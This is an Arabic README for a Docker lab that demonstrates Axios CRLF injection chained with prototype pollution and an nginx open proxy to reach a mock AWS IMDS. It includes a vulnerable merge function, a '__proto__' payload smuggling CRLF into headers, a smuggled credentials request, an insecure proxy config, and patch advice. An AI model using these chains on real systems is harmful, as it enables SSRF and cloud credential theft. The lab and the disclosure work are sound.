
إثبات مفهوم يوضح حقن CRLF وتهريب طلبات HTTP في Axios، مع ربط تلوث النموذج الأولي لتحقيق SSRF والوصول إلى الخدمات الداخلية مثل IMDS.
ثغرة حقن CRLF في دالة AxiosHeaders.set() الخاصة بعميل HTTP الخاص بـ Axios (>=1.0.0 <1.15.0, <0.31.0) بسبب عدم التحقق من وجود \r\n داخل قيم الترويسات.
يمكن للمهاجم، عبر دمجها مع تلوث النموذج الأولي (Prototype Pollution) عبر مكتبات مثل lodash أو qs، أو عبر حقن CRLF مباشرة في الترويسات، تنفيذ SSRF نحو خوادم داخلية عشوائية عبر طبقة وسيطة مثل nginx open proxy.
| البند | المحتوى |
|---|
| CVSS | 9.9 (حرجة) |
| الإصدارات المتأثرة | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| إصدار التصحيح | 1.15.0, 0.31.0 |
| CWE | CWE-93 تحييد غير صحيح لتسلسلات CRLF |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ لإزالة CRLF الزائدة في النهاية فقط
↑ \r\n في منتصف القيمة يمر دون معالجة
نتيجة لذلك، إدخال \r\n\r\nGET /admin HTTP/1.1\r\n... في قيمة ترويسة يؤدي إلى تضمين طلب HTTP ثانٍ مباشرة في تدفق TCP.
جميع الكائنات في JavaScript ترث من Object.prototype. تلوث النموذج الأولي هو هجوم يلوث هذا النموذج المشترك نفسه، مما يؤثر على جميع الكائنات التي يتم إنشاؤها لاحقًا.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← غير مُعلن ولكنه موجود
تحدث الثغرة عندما لا تتعامل دالة merge العودية الضعيفة (lodash < 4.17.21, qs وغيرها) بشكل خاص مع مفتاح "__proto__".
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// عندما يكون key = "__proto__":
// target["__proto__"] → يُرجع Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → حقن خصائص مباشرة في Object.prototype
} else {
target[key] = source[key];
}
}
}
// JSON المهاجم: __proto__ يُحلل كخاصية مباشرة
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← نجاح التلوث
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
كود التطبيق: const opts = {};
opts.headers → سلسلة النموذج الأولي → يُرجع الكائن الملوث
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← لا يوجد تحقق من CRLF
↓
يُضمَّن الطلب المُهرَّب في تدفق TCP
تلويث Object.prototype.headers يؤثر أيضًا على كائنات المخطط الداخلية في axios.
عند استدعاء assertOptions(config, schema)
schema['headers'] → سلسلة النموذج الأولي → يُرجع الكائن الملوث
validator(value) → استدعاء كائن كدالة → TypeError
في الهجمات الفعلية، يجب التحكم بدقة في نطاق التلوث، فالتلوث الواسع قد يتسبب في تعطل التطبيق نفسه قبل تنفيذ الهجوم المقصود (أثر جانبي DoS).
[1] حقن ترويسة مباشر أو تلوث النموذج الأولي (عبر مكتبة merge ضعيفة)
↓
[2] axios يسلسل القيمة المحتوية على CRLF كترويسة دون تحقق
↓
[3] الكتابة إلى تدفق TCP عبر net.Socket خام
(وحدة http الافتراضية في Node.js تمنع ذلك وقت التشغيل → يتطلب adapter مخصص)
↓
[4] nginx (proxy_pass http://$http_host) يحلل الطلب إلى طلبين منفصلين
↓
[5] توجيه الطلب المُهرَّب إلى upstream آخر بناءً على ترويسة Host (SSRF)
↓
[6] الوصول إلى خادم داخلي (IMDS وغيرها) → سرقة بيانات الاعتماد
| الشرط | المحتوى |
|---|---|
| تجاوز وحدة http في Node.js | استخدام adapter مخصص قائم على net.Socket |
| nginx open proxy | إعداد proxy_pass http://$http_host |
ignore_invalid_headers on | السماح بالترويسات غير الطبيعية |
توجيه resolver | إمكانية تحليل أسماء النطاقات ديناميكيًا |
┌─────────────────────────────────────────────────────────┐
│ الجهاز المضيف │
│ │
│ test-axios-adapter-*.js │
│ (net.Socket خام → nginx:8080) │
│ │
│ المتصفح → exploit.html (3003) │
│ → relay (3004) → مقبس خام → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ جسر Docker (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (مستقبلي)
:3001 :8080 :80
:3003 (محاكاة 169.254.169.254)
:3004
| المنفذ | الخدمة | الدور |
|---|---|---|
| 3001 | backend | استقبال طلبات HTTP / تسجيل الترويسات |
| 3003 | backend | خادم ثابت لـ exploit.html |
| 3004 | backend | relay — تحويل POST من المتصفح → net.Socket |
| 8080 | nginx | open proxy (proxy_pass http://$http_host) |
| 80 (داخلي) | imds | خادم محاكاة AWS IMDSv2 |
# بناء وبدء جميع الحاويات
docker compose up --build
# اختبار Node.js (يُنفذ على الجهاز المضيف)
npm install
# 1. مباشرة إلى backend — حقن CRLF ينتج طلبين
node poc/test-axios-adapter-backend.js
# 2. عبر nginx — توجيه الطلب المُهرَّب إلى backend:3001
node poc/test-axios-adapter-nginx.js
# 3. تلوث النموذج الأولي → حقن CRLF → سلسلة SSRF
node poc/test-prototype-pollution.js
# 4. المتصفح — http://localhost:3003
# اختيار الهدف: مباشرة إلى backend / عبر nginx / nginx → IMDS (SSRF)
1. اختيار nginx → IMDS ثم تشغيل Custom Adapter
2. الطلب المُهرَّب: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx يوجه إلى host=imds → يُمرر إلى خادم محاكاة IMDSv2
4. سجل حاوية imds: [!!!] نجاح سرقة بيانات الاعتماد!
.
├── docker-compose.yml
├── Dockerfile.backend # حاوية backend + relay
├── Dockerfile.imds # حاوية محاكاة IMDSv2
├── package.json # [email protected] (تثبيت الإصدار الضعيف)
└── poc/
├── backend-server.js # خادم HTTP (3001), relay (3004), خادم ثابت (3003)
├── mock-imds.js # محاكاة AWS IMDSv2 (PUT /token, GET /credentials)
├── nginx-container.conf # إعداد open proxy
├── exploit.html # PoC للمتصفح (XHR مقابل Custom Adapter)
├── test-axios-adapter-backend.js # مقبس خام → backend مباشرة
├── test-axios-adapter-nginx.js # مقبس خام → nginx → backend/imds
├── test-axios-no-adapter.js # axios قياسي (للتحقق من منع Node.js)
└── test-prototype-pollution.js # سلسلة تلوث النموذج الأولي → حقن CRLF
resolver 127.0.0.11 valid=30s; # DNS داخلي لـ Docker
location / {
proxy_pass http://$http_host; # توجيه ديناميكي بناءً على ترويسة Host = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # upstream ثابت للطلبات العادية
}
بما أن $http_host (مع المنفذ) يُستخدم كـ upstream، فإن ترويسة Host للطلب المُهرَّب تصبح وجهة التوجيه مباشرة.
npm install axios@^1.15.0
يقدم التصحيح (1.15.0) دالة assertValidHeaderValue() لرفض أي قيمة تحتوي على CR/LF فورًا.
دفاعات إضافية:
proxy_pass http://$http_host في nginx → استخدام upstream ثابتHttpTokens: required)